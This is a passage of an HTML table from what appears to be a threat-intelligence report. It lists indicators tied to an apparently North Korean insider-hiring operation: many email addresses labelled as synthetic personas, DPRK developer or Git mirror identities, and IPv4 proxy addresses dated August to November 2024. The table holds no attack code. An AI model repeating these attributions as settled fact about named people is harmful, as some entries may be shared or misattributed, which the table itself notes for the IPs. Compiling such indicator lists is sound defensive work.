align="left">2</td></tr><tr><td align="left"><code className="">nikolastojanovski2@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">gabrieltamas1@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">victorajdini@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">gavrilvasilevski001@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">stojannastevski001@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">emirapolloni@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">gorantomik1@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">jonasvarga1@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">dzholedinkov001@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">LaszloEniko@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">lazarbulatovic56@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">emilkokolnska@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">iacovlevguzun@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">dovydasmatis@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">tomaskovacova@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">antoninowak12@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">erikslamka1@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">kostasmichalakakou@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">jokubasbieliauskas1@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">stoilesideropoulos001@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">damjandobrudzhanski@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">kutayijaz@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">simeondimitris001@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">bobituntev001@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">velyokazepov@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">nestorovskiemilija100@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">ankaankahristov@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">randoviska@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">borislavbabic431@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">benicdominik81@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">teoantunovic6@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">popovicjelena727@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">vaskovdime@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">jozefmtech@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">archelaosasani@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">janlindberg80@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">nevenborisov@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">toni.komadina@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">damianwalczak.work@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">denis.dobrovodsky@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">filip.lovren@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">tomislavjurak@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">emilijan.hristov@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">zoran.parlov@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">ivanmatic.fs@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">marcelpaw.lowski@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">tomislavbozic.work@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">dominik.wojk@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">piotrglowacki.pol@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">leonzielinski.pol@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">stanislav.timko@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">oleg.kaplanski@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">rafael.ratkovic@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">mateusz.moczar@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">nadoyankovic@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">dionizy.kohutek@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">emilsvalina@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">kostic.gordan@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">josipbraut@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">mirantrkulja@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">pavlehristov.work@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">vedranpodrug@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">zvonkobogdan.cr@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">filipdamevski001@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">albertoszlar52@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">benjaminellertsson@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">fedorkadoic@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">izakholmberg12@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">markusvillig20@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">reigojakobson45@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">masudtarik69@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">vaikokangur45@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">osogovskiplanini001@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">aleksonikov001@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">angelovaandreev@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">ivanopavic13@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">davorsabolic2@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">juricleon407@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">kondradgodzki@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">velizarborisov.fs@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">trivuniliikc519@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">alexandermori1218@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">smupyknight@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">DPRK developer email</td><td align="left">2</td></tr><tr><td align="left"><code className="">btrs.corp@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">DPRK developer email</td><td align="left">2</td></tr><tr><td align="left"><code className="">byolate@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">DPRK developer email</td><td align="left">2</td></tr><tr><td align="left"><code className="">starneit105@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">DPRK developer email</td><td align="left">2</td></tr><tr><td align="left"><code className="">chrissamuel729@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">DPRK developer email</td><td align="left">2</td></tr><tr><td align="left"><code className="">lozanvranic@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">DPRK developer email</td><td align="left">2</td></tr><tr><td align="left"><code className="">qoneits@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">DPRK developer email</td><td align="left">2</td></tr><tr><td align="left"><code className="">kitdb@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">DPRK developer email</td><td align="left">2</td></tr><tr><td align="left"><code className="">d.musatovdv@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">DPRK developer email</td><td align="left">2</td></tr><tr><td align="left"><code className="">nikola.radomic322@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">DPRK developer email</td><td align="left">2</td></tr><tr><td align="left"><code className="">duykhanh.prodev@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Git mirror developer identity</td><td align="left">2</td></tr><tr><td align="left"><code className="">chebiinixon91@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Git mirror developer identity</td><td align="left">2</td></tr><tr><td align="left"><code className="">jeffukus@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Git mirror developer identity</td><td align="left">2</td></tr><tr><td align="left"><code className="">mohamed_dhifli@hotmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Git mirror developer identity</td><td align="left">2</td></tr><tr><td align="left"><code className="">saputranady@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Git mirror developer identity</td><td align="left">2</td></tr><tr><td align="left"><code className="">ryannguyen0303@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Git mirror developer identity</td><td align="left">2</td></tr><tr><td align="left"><code className="">fahrultect@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Git mirror developer identity</td><td align="left">2</td></tr><tr><td align="left"><code className="">patrickjuniorukutegbe@rocketmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Git mirror developer identity</td><td align="left">2</td></tr><tr><td align="left"><code className="">fahrultech@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Git mirror developer identity</td><td align="left">2</td></tr><tr><td align="left"><code className="">mirzayevorzu127@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Git mirror developer identity</td><td align="left">2</td></tr><tr><td align="left"><code className="">tsunaminori@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Git mirror developer identity</td><td align="left">2</td></tr><tr><td align="left"><code className="">yhwucss@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Git mirror developer identity</td><td align="left">2</td></tr><tr><td align="left"><code className="">btrs.corp@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Git mirror developer identity</td><td align="left">2</td></tr><tr><td align="left"><code className="">ledanglong@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Git mirror developer identity</td><td align="left">2</td></tr><tr><td align="left"><code className="">cwertlinks@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Git mirror developer identity</td><td align="left">2</td></tr><tr><td align="left"><code className="">bukoyesamuel9@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Git mirror developer identity</td><td align="left">2</td></tr><tr><td align="left"><code className="">gwanchi@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Git mirror developer identity</td><td align="left">2</td></tr><tr><td align="left"><code className="">efezinoukpowe@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Git mirror developer identity</td><td align="left">2</td></tr><tr><td align="left"><code className="">thnam0107@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Git mirror developer identity</td><td align="left">2</td></tr><tr><td align="left"><code className="">vijanakaush@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Git mirror developer identity</td><td align="left">2</td></tr><tr><td align="left"><code className="">luis.miguel208@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Git mirror developer identity</td><td align="left">2</td></tr><tr><td align="left"><code className="">smupyknight@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Git mirror developer identity</td><td align="left">2</td></tr><tr><td align="left"><code className="">brankojovovic99@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Administrative/testing accounts on abused services</td><td align="left">2</td></tr><tr><td align="left"><code className="">manuetuazon.work@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Administrative/testing accounts on abused services</td><td align="left">2</td></tr><tr><td align="left"><code className="">upwork.management.whm@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Administrative/testing accounts on abused services</td><td align="left">2</td></tr><tr><td align="left"><code className="">1.20.169.90</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">103.106.112.166</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">103.152.100.221</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">103.155.199.28</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">103.174.81.10</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">103.190.171.37</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">103.39.70.248</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">107.178.11.226</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">107.189.8.240</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">113.160.133.32</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">115.72.1.61</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">117.1.101.198</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">121.132.60.117</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">125.26.238.166</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">139.178.67.134</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">14.225.215.117</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">143.110.226.180</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">144.217.207.22</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">146.190.114.113</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">147.28.155.20</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">148.72.168.81</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">152.26.229.34</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">152.26.229.42</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">152.26.229.46</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">152.26.229.47</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">152.26.229.83</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">152.26.229.86</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">152.26.229.93</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">152.26.231.42</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">152.26.231.83</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td 